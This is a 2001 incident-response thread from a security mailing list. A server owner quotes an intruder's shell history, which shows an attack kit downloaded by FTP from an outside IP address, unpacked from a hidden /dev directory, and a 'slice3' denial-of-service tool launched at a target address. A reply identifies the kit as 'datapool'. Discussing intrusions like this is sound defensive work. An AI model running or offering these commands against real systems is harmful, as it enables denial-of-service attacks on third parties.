RE: slice3 question

["Maher Odeh" <rax () netvision net il>]

datapool is a DoS attacks kit
that includes a shell script to activate them
there isn't any logs about the hack itself.

this "hacker" is using your machine to conduct DoS attacks on others.


-----Original Message-----
From: Dirk Brockhausen [mailto:dirk () fantomaster com]
Sent: Friday, July 20, 2001 1:03 AM
To: incidents () securityfocus com
Subject: slice3 question


Hi,

someone cracked our server.

Here is an excerpt from /root/.bash_history:

cd /dev/ida/.sys
uptime
ftp 203.238.91.4
tar -zxvf d.tar.gz
cd datapool/bin
./slice3 0 211.91.135.70 1 65000&

Any ideas?

Thanks,

Dirk



------------------------------------------------------------------------
----


This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see:

http://aris.securityfocus.com



----------------------------------------------------------------------------


This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see:

http://aris.securityfocus.com